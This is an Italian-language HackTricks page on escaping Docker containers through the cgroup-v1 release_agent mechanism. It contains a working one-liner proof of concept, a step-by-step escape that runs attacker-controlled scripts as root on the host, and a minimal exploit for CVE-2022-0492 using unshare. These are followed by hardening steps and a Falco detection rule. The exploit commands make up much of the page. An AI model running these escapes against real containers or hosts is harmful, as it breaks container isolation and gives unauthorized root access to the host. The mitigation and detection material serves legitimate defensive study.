Docker release_agent cgroups escape
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Per ulteriori dettagli, fare riferimento al post originale del blog. Questo è solo un riassunto:
PoC classica (2019)
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
Il PoC sfrutta la funzionalità cgroup-v1 release_agent
: quando l'ultimo task di un cgroup che ha notify_on_release=1
termina, il kernel (negli spazi dei nomi iniziali sull'host) esegue il programma il cui pathname è memorizzato nel file scrivibile release_agent
. Poiché tale esecuzione avviene con privilegi di root completi sull'host, ottenere accesso in scrittura al file è sufficiente per un'uscita dal container.
Breve guida leggibile
- Preparare un nuovo cgroup
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # o –o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
- Puntare
release_agent
a uno script controllato dall'attaccante sull'host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
- Rilasciare il payload
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
- Attivare il notifier
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # aggiungiamo noi stessi e usciamo immediatamente
cat /output # ora contiene i processi dell'host
Vulnerabilità del kernel 2022 – CVE-2022-0492
Nel febbraio 2022 Yiqi Sun e Kevin Wang hanno scoperto che il kernel non verificava le capacità quando un processo scriveva in release_agent
in cgroup-v1 (funzione cgroup_release_agent_write
).
Effettivamente qualsiasi processo che poteva montare una gerarchia cgroup (ad es. tramite unshare -UrC
) poteva scrivere un percorso arbitrario in release_agent
senza CAP_SYS_ADMIN
nello spazio dei nomi utente iniziale. Su un container Docker/Kubernetes in esecuzione come root e configurato di default, questo ha permesso:
- escalation dei privilegi a root sull'host; ↗
- uscita dal container senza che il container fosse privilegiato.
Il difetto è stato assegnato CVE-2022-0492 (CVSS 7.8 / Alto) e corretto nelle seguenti versioni del kernel (e tutte le successive):
- 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Commit di patch: 1e85af15da28 "cgroup: Fix permission checking"
.
Exploit minimo all'interno di un container
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
Se il kernel è vulnerabile, il binario busybox dal host viene eseguito con pieno accesso root.
Indurimento e mitigazioni
- Aggiorna il kernel (≥ versioni superiori). Il patch ora richiede
CAP_SYS_ADMIN
nel namespace utente iniziale per scrivere surelease_agent
. - Preferisci cgroup-v2 – la gerarchia unificata ha rimosso completamente la funzionalità
release_agent
, eliminando questa classe di escape. - Disabilita i namespace utente non privilegiati su host che non ne hanno bisogno:
sysctl -w kernel.unprivileged_userns_clone=0
- Controllo di accesso obbligatorio: le politiche AppArmor/SELinux che negano
mount
,openat
su/sys/fs/cgroup/**/release_agent
, o rimuovonoCAP_SYS_ADMIN
, fermano la tecnica anche su kernel vulnerabili. - Maschera di bind in sola lettura per tutti i file
release_agent
(esempio di script Palo Alto):
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
Rilevamento in tempo reale
Falco
include una regola integrata dalla v0.32:
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
La regola si attiva su qualsiasi tentativo di scrittura a */release_agent
da un processo all'interno di un contenitore che detiene ancora CAP_SYS_ADMIN
.
Riferimenti
- Unit 42 – CVE-2022-0492: container escape via cgroups – analisi dettagliata e script di mitigazione.
- Sysdig Falco rule & detection guide
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.